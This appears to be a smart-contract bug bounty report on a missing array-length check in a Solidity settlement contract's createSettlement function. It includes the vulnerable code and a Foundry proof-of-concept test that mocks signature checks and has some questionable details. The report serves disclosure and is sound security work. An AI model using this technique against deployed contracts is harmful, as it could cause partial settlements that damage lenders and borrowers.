#47122 [SC-Medium] Array Length Mismatch Enables Partial Settlement Processing
Submitted on Jun 9th 2025 at 03:46:08 UTC by @Catchme for IOP | Term Structure Institutional
Report ID: #47122
Report Type: Smart Contract
Report severity: Medium
Target: https://github.com/term-structure/tsi-contract/blob/main/src/Settlement.sol
Impacts:
Contract fails to deliver promised returns, but doesn't lose value
Protocol insolvency
Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)
Description
Brief/Intro
The createSettlement
function in the Settlement contract lacks crucial array length validation between the _loanIds
and _loans
parameters. This oversight allows partial processing of authorized settlements where only a subset of operator-signed loans are processed, creating a critical discrepancy between authorized and executed operations.
Vulnerability Details
The vulnerability exists in the createSettlement
function at lines 113-114 and 139-147 in src/Settlement.sol:
function createSettlement(
string memory _settlementId,
SettleInfo calldata _settleInfo,
string[] memory _loanIds, // No length validation against _loans
LoanInfo[] calldata _loans,
bytes calldata _signature
) external nonReentrant {
// Signature verification includes both complete arrays
bytes32 digest = _getSettlementHash(_settlementId, _settleInfo, _loanIds, _loans);
if (!SignatureChecker.isValidSignatureNow(_operator, digest, _signature)) {
revert InvalidSignature();
}
// ... other validations ...
// Processing loop uses _loanIds.length as boundary
for (uint256 i = 0; i < _loanIds.length; i++) {
bytes32 loanId = _loanIds[i].toBytes32();
LoanInfo memory loan = _loans[i]; // Array access without length verification
// ... loan processing logic
}
}
The logical flaw stems from the asymmetric treatment of two related arrays:
Signature Generation: The
_getSettlementHash
includes both complete arrays in the signature calculationProcessing Logic: The loop boundary depends solely on
_loanIds.length
while accessing both arrays with identical indicesMissing Validation: No enforcement mechanism ensures array length equality before processing
This creates two possible scenarios:
Scenario A:
_loans.length < _loanIds.length
Triggers array out-of-bounds access when i >= _loans.length
Results in automatic transaction reversion due to Solidity bounds checking
Scenario B:
_loans.length > _loanIds.length
Processes only the first _loanIds.length entries from both arrays
Remaining _loans entries are silently ignored despite being part of the operator's signature
Creates discrepancy between authorized data and executed operations
Impact Details
When _loans.length > _loanIds.length
, only a subset of intended loans undergo settlement while the operator's signature authorizes the complete set. This creates several issues:
Partial Execution: The operator's signature authorizes a complete set of loans, but only a subset gets processed
Settlement Confusion: Users and operators may believe all loans were settled when only some were
Proof of Concept
Proof of Concept
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.27;
import "forge-std/Test.sol";
import "../src/Settlement.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract MockERC20 is ERC20 {
constructor(string memory name, string memory symbol) ERC20(name, symbol) {
_mint(msg.sender, 1000000 * 10**18);
}
}
contract MockOracle is IOracle {
function getPrice(address token) external pure override returns (PriceInfo memory) {
return PriceInfo({
price: 1e18, // 1:1 price ratio for simplicity
timestamp: block.timestamp,
source: "MOCK"
});
}
}
contract ArrayLengthMismatchPOC is Test {
Settlement settlement;
MockERC20 collateralToken;
MockERC20 debtToken;
MockOracle oracle;
address admin = address(1);
address feeCollector = address(2);
address operator = address(3);
address borrower = address(4);
address lender = address(5);
bytes32 processedLoanId;
bytes32 ignoredLoanId;
function setUp() public {
// Deploy tokens
collateralToken = new MockERC20("Collateral Token", "COL");
debtToken = new MockERC20("Debt Token", "DEBT");
oracle = new MockOracle();
// Deploy settlement contract
settlement = new Settlement(admin, feeCollector, operator, address(oracle));
// Distribute tokens
collateralToken.transfer(borrower, 500 * 10**18);
debtToken.transfer(lender, 500 * 10**18);
// Set up approvals
vm.startPrank(borrower);
collateralToken.approve(address(settlement), type(uint256).max);
vm.stopPrank();
vm.startPrank(lender);
debtToken.approve(address(settlement), type(uint256).max);
vm.stopPrank();
}
function testArrayLengthMismatch() public {
console.log("===== Array Length Mismatch Vulnerability POC =====");
// Create settlement ID
string memory settlementId = "test-settlement";
// Create loan IDs - ONLY ONE loan ID
string[] memory loanIds = new string[](1);
loanIds[0] = "loan-1";
processedLoanId = bytes32(bytes("loan-1"));
console.log("LoanID in array:", loanIds[0]);
// Create loan data - TWO loans
LoanInfo[] memory loans = new LoanInfo[](2);
// First loan - will be processed
loans[0] = LoanInfo({
maker: lender,
borrower: borrower,
lender: lender,
debtTokenAddr: address(debtToken),
collateralTokenAddr: address(collateralToken),
settlementId: bytes32(0),
debtData: DebtData({
borrowedAmt: 100 * 10**18,
debtAmt: 100 * 10**18,
feeAmt: 0,
collateralAmt: 100 * 10**18
}),
settled: false
});
// Second loan - will be IGNORED despite being signed
loans[1] = LoanInfo({
maker: lender,
borrower: borrower,
lender: lender,
debtTokenAddr: address(debtToken),
collateralTokenAddr: address(collateralToken),
settlementId: bytes32(0),
debtData: DebtData({
borrowedAmt: 100 * 10**18,
debtAmt: 100 * 10**18,
feeAmt: 0,
collateralAmt: 100 * 10**18
}),
settled: false
});
ignoredLoanId = bytes32(bytes("loan-2")); // This loan won't be processed
console.log("Number of loan IDs:", loanIds.length);
console.log("Number of loans:", loans.length);
// Create settlement info
SettleInfo memory settleInfo = SettleInfo({
taker: borrower,
takerType: TakerType.BORROW,
expiryTime: block.timestamp + 1 days
});
// Create signature
// In a real scenario, the operator would sign both loans, but only one gets processed
bytes32 digest = keccak256(abi.encode(settlementId, settleInfo, loanIds, loans)).toEthSignedMessageHash();
// Mock signature verification
bytes memory signature = abi.encodePacked(bytes32(0), bytes32(0), uint8(0));
vm.mockCall(
address(operator),
abi.encodeWithSelector(SignatureChecker.isValidSignatureNow.selector),
abi.encode(true)
);
// Create settlement as borrower
vm.startPrank(borrower);
settlement.createSettlement(settlementId, settleInfo, loanIds, loans, signature);
vm.stopPrank();
console.log("\n===== Verifying Settlement Results =====");
// Verify the first loan was processed
LoanInfo memory processedLoan = settlement.getLoan("loan-1");
bool processedLoanExists = (processedLoan.maker != address(0));
console.log("First loan processed:", processedLoanExists ? "Yes" : "No");
// Try to get the second loan - it shouldn't exist since it was ignored
// In a real scenario we would create an array with a missing loan ID
// But for demonstration, we're showing that a hypothetical "loan-2" wasn't created
vm.expectRevert(); // This should revert since the loan doesn't exist
settlement.getLoan("loan-2");
console.log("Second loan processed: No (expected revert)");
console.log("\n===== Vulnerability Impact =====");
console.log("1. Operator signature authorizes TWO loans");
console.log("2. But only ONE loan was actually processed");
console.log("3. This creates a discrepancy between authorized and executed operations");
console.log("\n===== Root Cause =====");
console.log("- Missing array length validation in createSettlement()");
console.log("- Processing loop uses _loanIds.length as boundary");
console.log("- Remaining entries in _loans are silently ignored");
}
}
Was this helpful?